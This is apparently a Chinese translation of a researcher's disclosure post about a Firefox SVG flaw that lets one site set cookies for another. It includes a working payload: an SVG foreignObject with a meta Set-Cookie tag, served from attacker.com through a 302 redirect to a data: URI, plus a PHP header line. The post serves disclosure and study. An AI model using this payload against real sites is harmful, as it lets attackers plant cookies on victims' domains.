Firefox - SVG cross domain cookie vulnerability

时间:2022-05-06
本文章向大家介绍Firefox - SVG cross domain cookie vulnerability,主要内容包括SVG - 通过 img 标签设置跨域 cookie、设置 cookie、重定向 + data uri、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

我最近有了解到,浏览器允许使用 meta 标签来设置 cookie 。我不确定我是不是忘了这一特性,或者之前从来没使用过它。鉴于之前研究过 SVG ,我决定试一下。SVG 的标准不包括 meta 标签,但它支持 foreignobject 标签。

<foreignObject> 中的SVG元素允许包含外部 XML 命名空间,该命名空间的图形内容由不同的 user agent 绘制。

来自 mdn 的一个简单例子展示了如何在 SVG 文件中使用 XHTML 命名空间。

<foreignObject width="100" height="50"  
requiredExtensions="http://www.w3.org/1999/xhtml">  
<!-- XHTML content goes here -->  
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>
      </body>
</foreignObject>  

我修改了以下示例代码,并将浏览器指向下面的 SVG:<svg xmlns='http://www.w3.org/2000/svg'>

<circle r='100'>  
</circle>  
<foreignObject>  
<html xmlns='http://www.w3.org/1999/xhtml'>  
<meta http-equiv='Set-Cookie' content='ppp=qqq' />  
</html>  
</foreignObject>  
</svg> 

宿主域现在有一个 cookie ppp=qqq。

下一步便是尝试一下了,如果另一个域在加载此 SVG 文件的话,将会发生什么呢:

// Domain: http://example.com

<!DOCTYPE html>  
<body>  
<img src="http://attacker.com/cookie.svg">  
</body>  

通过 meta 设置cookie

很遗憾,cookie 被设置为 attack.com ,而不是 example.com 。

重定向 + data uri

使它生效的最后一个技巧是使用 data: 协议处理程序和重定向。假设 example.com 域有以下代码。

<!DOCTYPE html>  
<body>  
<img src="http://attacker.com/cookie">  
</body>  

attacker.com 的服务器返回以下响应代码:

HTTP 302 Found  
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>  

注:如 php 可以使用以下代码:

header("Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='svg2=2222qqq' /></html></foreignObject></svg>");  

利用 data: 为宿主域设置 cookie

一旦我在 Firefox 浏览器中打开此测试用例,就会为 example.com 设置一个 Cookie 。这会为网页带来许多不同的漏洞,包括允许包含来自外部/第三方网站的图像。

在通过 firefox 团队调查这个问题期间,出现了另一个问题,公开后即可直接阅读:

https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20